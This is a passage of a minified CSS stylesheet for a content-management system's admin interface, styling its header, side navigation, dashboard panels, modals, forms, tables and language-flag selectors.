[class*="x_icon-"]:hover,.x [class*="x_icon-"]:focus,.x *:hover>[class*="x_icon-"],.x *:focus>[class*="x_icon-"]{opacity:1;filter:alpha(opacity=100)}.x .x_nav-tabs>li>a{padding-top:6px;padding-bottom:6px;text-decoration:none!important}.x .x_nav-tabs>li.x_active>a{font-weight:bold}.x .x_table{margin:10px 0;border-top:2px solid #ddd;border-bottom:1px solid #ddd}.x h1+.x_table{border-top:0;margin-top:-10px}.x .x_table>caption{text-align:left;padding:0 0 10px 0;line-height:26px}.x .x_table>caption>a,.x .x_table>caption>i,.x .x_table>caption>strong{position:relative;top:7px}.x .x_table thead th{vertical-align:top}.x .x_table input{margin:0}.x .x_inline{display:inline-block;*display:inline;*zoom:1;}.x .x_page-header+.x_form-horizontal{margin-top:-20px}.x .x_controls:after{content:"";display:block;clear:both}.x label.checked,.x input:checked+label,.x .x_form-horizontal .x_control-label{font-weight:bold;word-break:keep-all}.x .x_form-horizontal .x_control-label{width:180px}.x .x_form-horizontal .x_controls{margin-left:200px;*margin-left:0;}.x .x_form-horizontal .x_controls label{padding:5px 0;margin-bottom:0}.x input[type="radio"]+label,.x input[type="checkbox"]+label{font-weight:normal}.x label.x_inline{margin-right:16px}.x .x_input-append>*{vertical-align:top}.x .x_input-append a.x_add-on,.x .x_input-prepend a.x_add-on{height:16px;line-height:16px}.x .x_input-append button.x_add-on,.x .x_input-prepend button.x_add-on{height:24px;line-height:16px}.x .x_modal-header{padding:10px 15px;border-bottom:1px solid #aaa;background-color:#333;border-radius:5px 5px 0 0;background-image:-webkit-linear-gradient(top,#666,#333 50%,#000 50%,#333 100%);background-image:-moz-linear-gradient(top,#666,#333 50%,#000 50%,#333 100%);background-image:-o-linear-gradient(top,#666,#333 50%,#000 50%,#333 100%);background-image:linear-gradient(top,#666,#333 50%,#000 50%,#333 100%)}.x .x_modal-header>h1,.x .x_modal-header>h2,.x .x_modal-header>h3{font-size:16px;line-height:30px;margin:0;color:#fff;text-shadow:0 -1px 0 #000}.x .x_modal-body{overflow-y:visible;max-height:none}.x_modal,.x_modal-backdrop{display:none}.x_modal-backdrop{opacity:.6;filter:alpha(opacity=60)}.x_modal{padding:0;width:90%;margin:0 0 0 -45%;max-width:none;border-radius:6px}.x_modal>form{margin:0!important}.x_modal>.x_close{position:absolute;top:8px;right:10px;font-size:21px;color:#fff}.x_modal .x_modal-body{background:#fff;min-height:50px;overflow-y:auto;max-height:400px}.x_modal-body:after{content:"";display:block;clear:both}.x .x_control-group{padding-top:8px;border-top:1px dotted #ddd;clear:both}.x .x_control-group:before{content:"";display:block;clear:both}.x .x_control-group:first-child,.x .x_control-group:first-of-type{border-top:0;padding-top:0}.x .x_control-group select{width:auto;min-width:220px}.x .x_form-horizontal .x_control-group{margin-bottom:10px}.x input[type="text"],.x input[type="password"],.x input[type="datetime"],.x input[type="datetime-local"],.x input[type="date"],.x input[type="month"],.x input[type="time"],.x input[type="week"],.x input[type="number"],.x input[type="email"],.x input[type="url"],.x input[type="search"],.x input[type="tel"],.x input[type="color"]{height:16px;line-height:16px}.x input[type="number"]{width:50px}.x select{padding:0;height:26px;line-height:26px}.x select[multiple]{height:auto}.x textarea{vertical-align:top}.x .x_tab-content{overflow:visible}.x .x_well>*:first-child{margin-top:0}.x .x_well>*:last-child{margin-bottom:0}.x legend{font-size:14px;font-weight:bold;line-height:24px}.x label{font-weight:inherit}.x label:only-child{margin-bottom:0}.x td p,.x p:last-child{margin-bottom:0}.x form{margin:0 0 10px 0}.x form .x_btn[type="submit"]:only-child{min-width:120px}.x .x_help-inline{display:inline}.x .x_btn.x_disabled,.x .x_btn[disabled]{opacity:.5;filter:alpha(opacity=50);cursor:not-allowed}@media all and (max-width:980px){.x .x_form-horizontal .x_control-label{float:none;width:auto;text-align:left}.x .x_form-horizontal .x_controls{margin-left:0}}.x .section{margin:20px 0 40px 0}.x .section>h1{position:relative;border-bottom:1px solid #ddd}.x .section>h1>.snToggle{position:absolute;bottom:0;right:0;width:32px;height:32px;opacity:.5;filter:alpha(opacity=50)}.x .section>h1>.snToggle.x_icon-chevron-up{background-position:-279px -112px}.x .section>h1>.snToggle.x_icon-chevron-down{background-position:-303px -111px}.x .section>h2{position:relative;border-bottom:1px dotted #ddd}.x .section>h2+.x_control-group{border-top:0}.x .section.collapsed>*{display:none}.x .section.collapsed>h1{display:block}.x .center{text-align:center}.x .search{margin:10px 0 0 0}.x .search select{width:auto}.x .search>input[type="search"]{height:16px;line-height:16px;width:120px}.x .vr{color:#ccc;font-style:normal}.x .nowr{white-space:nowrap}.x .btnArea{padding:10px 0;margin:10px 0;border-top:1px solid #ccc;text-align:right;zoom:1;clear:both}.x .btnArea:after{content:"";display:block;clear:both}.x li.active>a,.x a.active{color:#000;font-weight:bold;text-decoration:none}.x .module_search+[readonly]{vertical-align:top;border-top-right-radius:0;border-bottom-right-radius:0}.x .module_search+[readonly]+a.x_btn{vertical-align:top;border-top-left-radius:0;border-bottom-left-radius:0;margin-left:-5px}.x .fileBtn{position:relative;display:inline-block;overflow:hidden}.x .fileBtn>input[type="file"]{position:absolute;top:0;right:0;margin:0;padding:0;border:0;outline:0;cursor:pointer;opacity:0;filter:alpha(opacity=0);-webkit-transform:scale(4);-webkit-transform-origin:100% 0;-moz-transform:scale(4);-moz-transform-origin:100% 0;-o-transform:scale(4);-o-transform-origin:100% 0;transform:scale(4);transform-origin:100% 0}.x td>form,.x td>p:only-of-type,.x td>p:last-of-type{margin:0}.x [data-display="none"]{display:none}.x .x_page-header .path{font-size:14px;display:inline-block}.x .x_page-header .path:first-letter {color:#ccc;font-weight:normal}.x [data-toggle]+.x_help-block{margin-top:10px}.x input.switch{width:42px;height:16px;opacity:0;filter:alpha(opacity=0);position:relative;z-index:2}.x input.switch+i{position:relative!important;z-index:1;left:auto!important;top:auto!important;right:auto!important;bottom:auto!important;margin:0 0 0 -42px!important;opacity:1!important;filter:alpha(opacity=100)!important;padding:0;vertical-align:middle;display:inline-block;width:42px;height:16px;background-image:url(../../../../modules/admin/tpl/img/toggleSwitch.png)!important;background-repeat:no-repeat}.x input[checked].switch+i{background-position:0 -16px!important}.x_modal._common{width:600px;margin-left:-300px}.x_modal._common._small{width:400px;margin-left:-200px}@media all and (max-width:650px){.x_modal._common{width:90%;margin-left:-45%}}@media all and (max-width:450px){.x_modal._common._small{width:90%;margin-left:-45%}}.x_modal._common._nobody .x_modal-body,.x_modal._common._type_alert .x_modal-header,.x_modal._common._type_alert ._cancel{display:none}.x_modal._common._type_alert .x_modal-body{border-radius:6px 6px 0 0}.x_modal._common._nobody .x_modal-footer{border-top:0}.x_modal-body.showTree .moveList{float:left;width:60%}.x_modal-body.showTree .moveTree{display:block!important;float:right;width:38%}.x_modal-body.showTree .moveTree>h1{font-size:13px;color:#333;border-bottom:2px solid #ddd;padding:10px 0 7px 0}@media all and (max-width:960px){.x_modal-body.showTree .moveList,.x_modal-body.showTree .moveTree{float:none;width:auto}}.x a[target="_blank"]:after,.x>.body>.gnb>ul>li>a>i,.x .dashboard>div>section>h2:before{background-image:url(../img/glyphicons-halflings.png);background-repeat:no-repeat}.x>.body>.gnb>ul>li.open>a>i,.x>.body>.gnb>ul>li.active>a>i,.x_modal-body .tree .jstree-hovered>i,.x_modal-body .tree .jstree-clicked>i{background-image:url(../img/glyphicons-halflings-white.png);background-repeat:no-repeat}@media all and (max-width:800px){.x>.body>.gnb>ul>li:first-child>a>i{background-image:url(../img/glyphicons-halflings-white.png);background-repeat:no-repeat}}.x>.skipNav{margin:0}.x>.skipNav>a{display:block;height:1px;text-align:center;border-radius:4px;overflow:hidden;color:#333;text-decoration:none}.x>.skipNav>a:focus{height:auto;margin:5px 0;padding:8px 0;background:#fff}.x>.header{position:relative;z-index:2;padding:10px 15px;zoom:1;border-bottom:1px solid #ddd;background-color:#fff;zoom:1}.x>.header:after{content:"";display:block;clear:both}.x>.header:before{content:"";position:absolute;bottom:0;left:1px;right:1px;height:1px;box-shadow:0 2px 3px #ddd}.x>.body{position:relative;zoom:1;padding:0 0 50px 215px;z-index:1}.x>.body.wide{padding-left:70px}.x>.body:after{content:"";display:block;clear:both}.x>.body>.content{width:100%;padding:1px 0 0 0;float:right;margin:0 0 0 -100%;outline:0}.x>.body>.content>*:first-child{margin-top:0}.x>.body>.gnb{width:180px;position:relative;margin:15px 0 0 -215px;float:left;display:inline}.x>.body.wide>.gnb{width:38px;margin-left:-70px}@media all and (max-width:800px){.x>.header{border-bottom:0}.x>.header:before{content:normal}.x>.body,.x>.body.wide{padding:0}.x>.body>.content{width:auto;padding:1px 10px 0 10px;float:none;margin:0 0 30px 0}.x>.body>.gnb{float:none;display:block;width:auto;margin:0!important;border-radius:0;position:relative;top:auto;left:auto}.x>.body.wide>.gnb{width:auto}}.x>.header>h1{display:inline-block;*display:inline;zoom:1;margin:0 15px 0 0;white-space:nowrap}.x>.header>h1>a{text-decoration:none;color:#333;font-size:24px;line-height:40px;font-family:Arial,Helvetica,sans-serif}.x>.header>h1>a>img{vertical-align:middle}.x>.header>.site{display:inline-block;*display:inline;zoom:1;margin:14px 0 0 0;font-size:11px}.x>.header>.site>a{text-decoration:none;color:#666;font-family:Tahoma,Geneva,sans-serif}.x>.header>.site>a:hover,.x>.header>.site>a:focus{text-decoration:underline}.x>.header>.account{float:right;position:relative;margin:13px 0 0 0}.x>.header>.account>ul{list-style:none;margin:0;padding:0}.x>.header>.account>ul>li{display:inline}.x>.header>.account>ul>li:before{content:"| ";color:#ddd}.x>.header>.account>ul>li:first-child:before{content:normal}.x>.header>.account>ul>li>a{text-decoration:none;color:#666}.x>.header>.account>ul>li>a:hover,.x>.header>.account>ul>li>a:focus{text-decoration:underline}.x>.header>.account .lang+#lang{position:absolute;top:20px;left:auto;right:0;min-width:0}.x>.header>.account .lang+#lang a:focus,.x>.header>.account .lang+#lang a:hover{background:none;color:#333}.x>.header>.account .lang+#lang .x_active>a{color:#fff;background:#0081c2 -webkit-linear-gradient(top,#08c,#0077b3);background:#0081c2 -moz-linear-gradient(top,#08c,#0077b3);background:#0081c2 -o-linear-gradient(top,#08c,#0077b3)}@media all and (max-width:480px){.x>.header>.site{margin-top:0}}@media all and (max-width:800px){.x>.header>.account{margin-top:0}}.x>.footer{border-top:1px solid #ddd;padding:10px 15px;zoom:1}.x>.footer:after{content:"";display:block;clear:both}.x>.footer>p{margin:0}.x>.footer>.power{float:left;color:#666}.x>.footer>.cache{float:right}.x>.footer>.cache>*{color:#666}.x>.footer .vr{color:#ccc!important}.x>.body>.gnb ul{margin:0;padding:0;list-style:none}.x>.body>.gnb>ul{position:relative;z-index:1;box-shadow:0 0 4px #ccc;border:2px solid #fff}.x>.body>.gnb a{text-decoration:none;text-shadow:0 1px 0 #fff;color:#000;display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.x>.body>.gnb>a[href="#gnbNav"]{display:block;position:absolute;z-index:2;white-space:nowrap;font-size:0;top:50%;right:-14px;background:#eee;width:12px;height:50px;border-radius:0 3px 3px 0;margin:-25px 0 0 0;border:1px solid #ddd;border-left:0;overflow:hidden;text-indent:20px}.x>.body.wide>.gnb>a[href="#gnbNav"]>b{border-color:transparent;border-left-color:#666;margin:-4px 0 0 -2px}.x>.body>.gnb>a[href="#gnbNav"]>b{width:0;height:0;position:absolute;top:50%;left:50%;margin:-4px 0 0 -6px;border:4px solid;border-color:transparent;border-right-color:#666}.x>.body>.gnb>a>i{display:none}.x>.body>.gnb .exMenu{position:absolute;width:100%}.x>.body>.gnb .exMenu>button{width:100%;border:0;background:none;font-size:20px;line-height:25px}.x>.body>.gnb .exMenu>button>i{opacity:.5;filter:alpha(opacity=50);vertical-align:middle;text-indent:0}.x>.body>.gnb .exMenu>button:hover>i,.x>.body>.gnb .exMenu>button:focus>i{opacity:1;filter:alpha(opacity=100)}.x>.body>.gnb .exMenu .x_icon-chevron-up,.x>.body>.gnb>.ex .exMenu .x_icon-chevron-down{display:none}.x>.body>.gnb>.ex .exMenu .x_icon-chevron-up{display:inline-block}.x>.body>.gnb>ul>li[data-index="1"]{border-top-color:#eee}.x>.body>.gnb>ul>li[data-index="5"]{margin-bottom:25px}.x>.body>.gnb>ul>li[data-index="6"]{border-top-color:#eee}.x>.body>.gnb>ul>li[data-index="6"],.x>.body>.gnb>ul>li[data-index="7"]{display:none}.x>.body>.gnb>.ex>li[data-index="6"],.x>.body>.gnb>.ex>li[data-index="7"]{display:block}.x>.body>.gnb>ul>li[data-index].active_{display:none}@media all and (max-width:800px){.x>.body>.gnb>ul{border:0}.x>.body>.gnb>ul>li{display:none}.x>.body>.gnb.open>ul>li{display:block}.x>.body>.gnb.open>ul>li[data-index="6"],.x>.body>.gnb.open>ul>li[data-index="7"],.x>.body>.gnb>.ex>li[data-index="6"],.x>.body>.gnb>.ex>li[data-index="7"]{display:none}.x>.body>.gnb.open>.ex>li[data-index="6"],.x>.body>.gnb.open>.ex>li[data-index="7"]{display:block}.x>.body>.gnb>ul>li:first-child{display:block!important}.x>.body>.gnb>a[href="#gnbNav"],.x>.body.wide>.gnb>a[href="#gnbNav"]{top:0;right:0;line-height:37px;width:44px;height:auto;background:none;border-radius:0;margin:0;border:0}.x>.body>.gnb>a[href="#gnbNav"]{opacity:.5;filter:alpha(opacity=50%)}.x>.body>.gnb>a[href="#gnbNav"]:before{content:"";position:absolute;top:1px;left:0;width:1px;height:100%;border-left:1px solid #999}.x>.body>.gnb>a[href="#gnbNav"]>b{display:none}.x>.body>.gnb>a>i{display:block;position:absolute;top:50%;left:50%;margin:-7px 0 0 -7px}}.x>.body>.gnb>ul>li{background:#3886d0;border-top:1px solid #fff;border-bottom:1px solid #ddd;vertical-align:top;white-space:nowrap}.x>.body>.gnb>ul>li.active{background:#222}.x>.body>.gnb>ul>li.open,.x>.body>.gnb>ul>li.active{border-bottom:0;padding:0 0 1px 0}.x>.body>.gnb>ul>li>a{position:relative;padding:8px 5px 8px 10px;background:#f1f1f1;background:-webkit-linear-gradient(top,#f1f1f1,#e8e8e8);background:-moz-linear-gradient(top,#f1f1f1,#e8e8e8);background:-o-linear-gradient(top,#f1f1f1,#e8e8e8);background:-ms-linear-gradient(top,#f1f1f1,#e8e8e8);background:linear-gradient(top,#f1f1f1,#e8e8e8)}.x>.body>.gnb>ul>li>a>i{display:inline-block;width:14px;height:14px;margin:-4px 4px 0 0;vertical-align:middle;opacity:.75;filter:alpha(opacity=75)}.x>.body>.gnb>ul>li>a>b{position:absolute;width:0;height:0;top:50%;right:10px;margin:-2px 0 0 0;border:4px solid transparent;border-top-color:#999}.x>.body>.gnb>ul>li.open>a>b{border-top:0;border-bottom-color:#fff}.x>.body.wide>.gnb>ul>li>a>b{display:none}.x>.body>.gnb>ul>li[data-index="1"]>a>i{background-position:-384px -144px}.x>.body>.gnb>ul>li[data-index="2"]>a>i{background-position:0 -24px}.x>.body>.gnb>ul>li[data-index="3"]>a>i{background-position:-168px 0}.x>.body>.gnb>ul>li[data-index="4"]>a>i{background-position:-48px -48px}.x>.body>.gnb>ul>li>a[href="#favorite"]>i{background-position:-120px 0}.x>.body>.gnb>ul>li[data-index="6"]>a>i{background-position:-360px -144px}.x>.body>.gnb>ul>li[data-index="7"]>a>i{background-position:-432px 0}.x>.body>.gnb>ul>li>a:hover,.x>.body>.gnb>ul>li>a:focus{background:#f6f6f6;background:-webkit-linear-gradient(top,#f6f6f6,#f1f1f1);background:-moz-linear-gradient(top,#f6f6f6,#f1f1f1);background:-o-linear-gradient(top,#f6f6f6,#f1f1f1);background:-ms-linear-gradient(top,#f6f6f6,#f1f1f1);background:linear-gradient(top,#f6f6f6,#f1f1f1)}.x>.body>.gnb>ul>li.open>a{font-weight:bold;color:#fff;text-shadow:0 -1px 0 #333;background:#3886d0;background:-webkit-linear-gradient(top,#6ebcea,#3886d0);background:-moz-linear-gradient(top,#6ebcea,#3886d0);background:-o-linear-gradient(top,#6ebcea,#3886d0);background:-ms-linear-gradient(top,#6ebcea,#3886d0);background:linear-gradient(top,#6ebcea,#3886d0)}.x>.body>.gnb>ul>li.active>a{font-weight:bold;color:#fff;text-shadow:none;background:#222;background:-webkit-linear-gradient(top,from(#555),to(#222));background:-moz-linear-gradient(top,#555,#222);background:-o-linear-gradient(top,#555,#222)}@media all and (max-width:800px){.x>.body>.gnb>ul>li:first-child>a{font-weight:bold;color:#fff;text-shadow:none;border-radius:3px;background-color:#222;background-image:-webkit-linear-gradient(top,#555,#222);background-image:-moz-linear-gradient(top,#555,#222);background-image:-o-linear-gradient(top,#555,#222);background-image:linear-gradient(top,#555,#222)}}.x>.body.wide>.gnb>ul>li>a>.tx{display:inline-block;width:1px;height:1px;overflow:hidden}.x>.body>.gnb>ul>li>ul{display:none;margin:0 10px 10px 10px;border-radius:4px}.x>.body>.gnb>ul>li.active>ul{display:block!important}.x>.body.wide>.gnb>ul>li>ul{display:none!important}.x>.body>.gnb>ul>li>ul>li{border-top:1px solid #ddd;position:relative}.x>.body>.gnb>ul>li>ul>li:first-child{border:0}.x>.body>.gnb>ul>li>ul>li.active_{box-shadow:0 0 3px #999;z-index:99;border:1px solid #666;border-left:0;border-right:0}.x>.body>.gnb>ul>li>ul>li>a{padding:4px 5px 4px 15px;background:#e8e8e8;background:-webkit-linear-gradient(top,#f1f1f1,#e8e8e8);background:-moz-linear-gradient(top,#f1f1f1,#e8e8e8);background:-o-linear-gradient(top,#f1f1f1,#e8e8e8);background:-ms-linear-gradient(top,#f1f1f1,#e8e8e8);background:linear-gradient(top,#f1f1f1,#e8e8e8)}.x>.body>.gnb>ul>li>ul#favorite>li>a{padding:4px 25px 4px 15px}.x>.body>.gnb>ul>li>ul>li:first-child>a{border-radius:4px 4px 0 0}.x>.body>.gnb>ul>li>ul>li:last-child>a{border-radius:0 0 4px 4px}.x>.body>.gnb>ul>li>ul>li:only-child>a{border-radius:4px}.x>.body>.gnb>ul>li>ul>li>a:hover,.x>.body>.gnb>ul>li>ul>li>a:active,.x>.body>.gnb>ul>li>ul>li.active_>a{font-weight:bold;background:-webkit-linear-gradient(top,#f6f6f6,#f1f1f1);background:-moz-linear-gradient(top,#f6f6f6,#f1f1f1);background:-o-linear-gradient(top,#f6f6f6,#f1f1f1);background:-ms-linear-gradient(top,#f6f6f6,#f1f1f1);background:linear-gradient(top,#f6f6f6,#f1f1f1)}.x>.body>.gnb>ul>li>ul>li.active_>a:after{content:"";position:absolute;top:8px;right:-12px;border:6px solid transparent;border-left-color:#f3f3f3;width:0;height:0;overflow:hidden}.x>.body>.gnb>ul>li>ul>li>.remove{position:absolute;top:4px;right:5px}.x>.body>.gnb>ul>li>ul>li>.remove>.x_close{width:20px;height:20px}@media all and (max-width:800px){.x>.body.wide>.gnb>ul>li>a>.tx{width:auto;height:auto}}.x .dashboard{zoom:1}.x .dashboard:after{content:"";display:block;clear:both}.x .dashboard>div{float:right;width:49%}.x .dashboard>div:first-child{float:left}.x .dashboard>div>section{position:relative;height:196px;border:1px solid #ddd;border-radius:4px;margin:0 0 25px 0;overflow:hidden}.x .dashboard>div>section>h2{font-size:14px;margin:0;padding:6px 15px;border-bottom:1px solid #ddd;background:#e8e8e8;background:-webkit-linear-gradient(top,#f1f1f1,#e8e8e8);background:-moz-linear-gradient(top,#f1f1f1,#e8e8e8);background:-o-linear-gradient(top,#f1f1f1,#e8e8e8);background:-ms-linear-gradient(top,#f1f1f1,#e8e8e8);background:linear-gradient(top,#f1f1f1,#e8e8e8);text-shadow:0 1px 0 #fff}.x .dashboard>div>section>h2:before{content:"";display:inline-block;width:14px;height:14px;margin:0 4px 0 0;vertical-align:middle;opacity:.5;filter:alpha(opacity=50)}.x .dashboard>div>.status>h2:before{background-position:-408px 0}.x .dashboard>div>.status dl{color:#767676;display:inline-block;*display:inline;zoom:1;margin:0 8px 0 0;padding:1px 8px 0;font:11px/1 돋움,Dotum,Arial,Helvetica,sans-serif;background:#fff;box-shadow:0 0 3px #999 inset;border-radius:3px;min-width:60px;text-align:center}.x .dashboard>div>.status dt{display:inline;font-weight:normal}.x .dashboard>div>.status dd{display:inline;margin:0}.x .dashboard>div>.status dl a{color:#767676}.x .dashboard>div>.document>h2:before{background-position:-264px -48px}.x .dashboard>div>.reply>h2:before{background-position:-240px -120px}.x .dashboard>div>.trackback>h2:before{background-position:-216px -120px}.x .dashboard>div>section>.more{position:absolute;top:7px;right:15px;text-shadow:0 1px 0 #fff}.x .dashboard>div>section>.more i{font:12px Tahoma,Geneva,sans-serif}.x .dashboard>div>section ul{list-style:none;margin:10px;padding:0;overflow:hidden;zoom:1}.x .dashboard>div>section li{position:relative;height:28px;line-height:28px;padding:0 70px 0 5px;white-space:nowrap;overflow:hidden;zoom:1;vertical-align:top}.x .dashboard>div>section li.hover{background:#f4f4f4;border-radius:4px}.x .dashboard>div>section li>a{display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.x .dashboard>div>section li>.side{position:absolute;top:0;right:5px;line-height:28px;width:60px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;text-align:right;zoom:1}.x .dashboard>div>section li>.action{display:none;position:absolute;top:0;right:5px;margin:0;padding:0 0 0 10px;text-align:right;white-space:nowrap;line-height:28px;background:#f4f4f4}.x .dashboard>div>section li>.action>button{margin:0 0 0 4px;padding:0;overflow:visible}@media all and (max-width:980px){.x .dashboard>div{float:none!important;width:auto}}.x .g11n>.x_add-on{font-size:0;position:relative;cursor:pointer;text-decoration:none;*color:#eee;}.x .g11n>.x_add-on>i{position:absolute;top:50%;left:50%;margin:-7px 0 0 -7px;z-index:1;opacity:.25;filter:alpha(opacity=25)}.x .g11n>.x_add-on.remover{display:none;width:26px;height:26px}.x .g11n.active>[disabled]{padding-left:25px;background-position:4px 6px;background-repeat:no-repeat}.x .g11n.active>.x_add-on.remover{display:inline-block}.x .g11n>.x_add-on:hover>i{opacity:1;filter:alpha(opacity=100)}.x .g11n>textarea{border-top-right-radius:0;overflow-x:hidden}#g11n #lang_search .list{border-top:2px solid #ddd}#g11n #lang_search .item{border-bottom:1px solid #ddd;margin:0}#g11n #lang_search .item>a{display:block;padding:8px 0;position:relative}#g11n #lang_search .item>a>i{position:absolute;top:50%;margin:-7px 0 0 0;right:0;opacity:.5;filter:alpha(opacity=50)}#g11n #lang_search .item>fieldset{display:none;padding:0 0 15px 0}#g11n .item input[type="text"],#g11n .item textarea{padding-left:25px;width:187px;background-repeat:no-repeat;background-position:4px 8px;overflow-x:hidden}#g11n .flag{padding-left:18px;background-repeat:no-repeat;background-position:0 50%}html[lang="en"] .x .g11n.active>[disabled],#g11n .item .en,#g11n .flag.en{background-image:url(../img/flag.en.gif)}html[lang="ko"] .x .g11n.active>[disabled],#g11n .item .ko,#g11n .flag.ko{background-image:url(../img/flag.ko.gif)}html[lang="jp"] .x .g11n.active>[disabled],#g11n .item .jp,#g11n .flag.jp{background-image:url(../img/flag.jp.gif)}html[lang="zh"] .x .g11n.active>[disabled],#g11n .item .zh-CN,#g11n .flag.zh-CN{background-image:url(../img/flag.cn.gif)}html[lang="zh"] .x .g11n.active>[disabled],#g11n .item .zh-TW,#g11n .flag.zh-TW{background-image:url(../img/flag.tw.gif)}html[lang="fr"] .x .g11n.active>[disabled],#g11n .item .fr,#g11n .flag.fr{background-image:url(../img/flag.fr.gif)}html[lang="de"] .x .g11n.active>[disabled],#g11n .item .de,#g11n .flag.de{background-image:url(../img/flag.de.gif)}html[lang="ru"] .x .g11n.active>[disabled],#g11n .item .ru,#g11n .flag.ru{background-image:url(../img/flag.ru.gif)}html[lang="es"] .x .g11n.active>[disabled],#g11n .item .es,#g11n .flag.es{background-image:url(../img/flag.es.gif)}html[lang="tr"] .x .g11n.active>[disabled],#g11n .item .tr,#gg1n .flag.tr{background-image:url(../img/flag.tr.gif)}html[lang="vi"] .x .g11n.active>[disabled],#g11n .item .vi,#g11n .flag.vi{background-image:url(../img/flag.vi.gif)}html[lang="mn"] .x .g11n.active>[disabled],#g11n .item .mn,#g11n .flag.mn{background-image:url(../img/flag.mn.gif)}#g11n #lang_search .cancel,#g11n #lang_search .save,#g11n #lang_search .editMode .modify,#g11n #lang_search .editMode .useit{display:none}#g11n #lang_search .editMode .cancel,#g11n #lang_search .editMode .save{display:inline-block}.x .moduleWindow{position:absolute;z-index:100;padding:15px 20px}.x .moduleWindow ul{margin-bottom:0}.x .moduleWindow .siteList{margin-right:14px}.x .moduleWindow .siteList>input[type="search"]{width:100%;padding-top:6px;padding-bottom:6px;border-radius:3px 3px 0 0;margin-bottom:0}.x .moduleWindow .siteList>ul{margin:-1px -14px 0 0}.x .moduleWindow .siteList>ul>li{background:#fff}.x .moduleWindow .siteList>ul>li:first-child>a{border-top-left-radius:0;border-top-right-radius:0}.x .moduleWindow select{width:100%}.x .textList{border:1px solid #ddd!important;line-height:1.5em;height:125px;overflow:auto}.x .textList li{position:relative;border:0;padding:0 10px;height:25px;line-height:25px;white-space:nowrap;overflow:hidden}.x .textList li:nth-child(even){background:#eee}.x .textList li>button{position:absolute;right:8px;top:50%;margin:-7px 0 0 0}.x .uDrag .wrap{position:relative;padding-left:20px}.x .uDrag li>.wrap{margin:0 0 0 8px}.x .uDrag .dragActive{background:#FFD}.x .uDrag .dragActive th,.x .uDrag .dragActive td{background:none!important}.x .uDrag .dragBtn{position:absolute;width:8px;height:100%;padding:0;overflow:hidden;background:url(../img/bgDragable.gif);top:1px;left:0;text-indent:12px;border:0;cursor:n-resize;white-space:nowrap;font-size:0}.x #faviconPreview{position:relative;padding:80px 0 0 200px;background:url(../img/bgFavicon.gif) no-repeat}.x #faviconPreview img{position:absolute}.x #faviconPreview .fn1{top:30px;left:12px}.x #faviconPreview .fn2{top:55px;left:68px}.x #mobiconPreview{position:relative;padding:270px 0 0 200px;background:url(../img/bgMobileTop.png) no-repeat}.x #mobiconPreview img{position:absolute;top:20px;left:10px;width:32px;height:32px}.x #mobiconPreview span{position:absolute;width:32px;text-align:center;top:52px;left:10px;color:#fff;font-size:9px}.x .layer{position:absolute;display:none;font-weight:normal}.tree{margin:3px 0 5px 0;min-width:200px;background-color:transparent!important}.tree ul{margin:0;padding:0;list-style:none}.tree li{padding:0;white-space:nowrap;position:relative;border-radius:3px;vertical-align:top}.tree li>ul{margin:0}.tree a{text-decoration:none}.tree>ul{padding:1px}.tree .jstree-rename-input{margin-left:-16px;z-index:2}.tree>ul>li{margin-top:30px;position:relative}.tree>ul>li:before{content:"";display:block;border-top:1px dotted #ccc;position:relative;top:-15px}.tree>ul>li:first-child{margin-top:0}.tree>ul>li:first-child:before{content:normal}.tree>ul>li>a{font-weight:bold;text-shadow:0 1px 0 #fff;vertical-align:middle}.tree>ul>li>a:hover,.tree>ul>li>a:focus,.tree>ul>li>a.jstree-clicked,.tree>ul>li>a.jstree-hovered{text-shadow:none}.tree>ul>li>ul{margin:0 0 0 18px}.tree>ul>li>ul>li{margin-left:0}.tree li>a{border:0!important;padding:0 8px!important;margin:0 0 1px 0;border-radius:3px;position:relative;z-index:2;height:23px;line-height:23px;max-width:160px;overflow:hidden;text-overflow:ellipsis;-webkit-transition:.2s;-moz-transition:.2s;-o-transition:.2s;transition:.2s}.tree li>a>i{opacity:.5;filter:alpha(opacity=50)}.tree .jstree-hovered>i,.tree .jstree-clicked>i{opacity:1;filter:alpha(opacity=100)}.tree a>.jstree-icon{display:none}.tree .jstree-open>.jstree-icon,.tree .jstree-closed>.jstree-icon{background-color:#fff}.x .h2,.x .h3,.x .h4{position:relative;border-style:solid;border-top:0;border-right:0;zoom:1;padding-left:8px}.x .h1{background:#444;border-radius:4px;color:#fff;margin:0 0 1em 0;font-size:16px;padding:0 15px;line-height:36px}.x .h2{border-width:3px;font-size:20px;border-color:#888}.x .h3{border-width:2px;font-size:16px;border-color:#aaa}.x .h4{border-width:1px;font-size:12px;border-color:#ccc}.x .h1+ul,.x .h2+ul,.x .h3+ul,.x .h4+ul,.x .h1+.table table,.x .h2+.table table,.x .h3+.table table,.x .h4+.table table{border-top:0!important;margin-top:-1em!important}.x .table{margin:1em 0}.x .table table{width:100%;border:0;border-collapse:collapse;border-top:2px solid #ccc}.x .table caption{font-weight:bold;text-align:left;line-height:22px;padding:5px 0}.x .table caption:after{content:"";display:block;clear:both}.x .table caption a{font-weight:normal}.x .table caption em{float:right;margin-left:1em}.x .table caption strong{color:#e00}.x .table caption .side{float:right;font-weight:normal;margin-left:1em}.x .table th,.x .table td{border:0;padding:8px;vertical-align:top;text-align:left;border-bottom:1px solid #ddd}.x .table th{background:#f8f8f8}.x .table thead th{border-bottom:1px solid #999}.x .table tfoot td{font-weight:bold;background:#f8f8f8}.x .table.even tbody tr:nth-of-type(even){background-color:#fafafa}.x .table tbody tr:hover{background:#ffd!important}.x .table td>input[type="text"]{margin:-1px 0!important;vertical-align:middle}.x .table img{vertical-align:middle}.x .table em{font-style:normal;font-weight:normal;color:#e00}.x .form{margin:0 0 1em 0;padding:0}.x .form fieldset{margin:0 0 2em 0;padding:0;border:0}.x .form.search fieldset{border:1px solid #ccc;padding:5px 15px;border-radius:3px}.x .form em{font-style:normal;color:#e00}.x .form label{line-height:1;vertical-align:middle}.x .form input[type="radio"]+label,.x .form input[type="checkbox"]+label{margin-right:1em}.x .form input[type="checkbox"]+label,.x .form input[type="radio"]+label,.x .form input[type="file"]{cursor:pointer}.x .form ul{position:relative;margin:1em 0;padding:0;list-style:none;border-top:2px solid #ccc;border-bottom:1px solid #ccc;zoom:1}.x .form li{list-style:none;border:1px solid #ddd;border-left:0;border-right:0;margin:-1px 0;padding:8px 0;vertical-align:top;zoom:1}.x .form li:hover{background:#ffd}.x .form li:first-child{border-top:0}.x .form li>label:first-child{display:block;font-weight:bold}.x .form li label em{font-weight:normal}.x .form 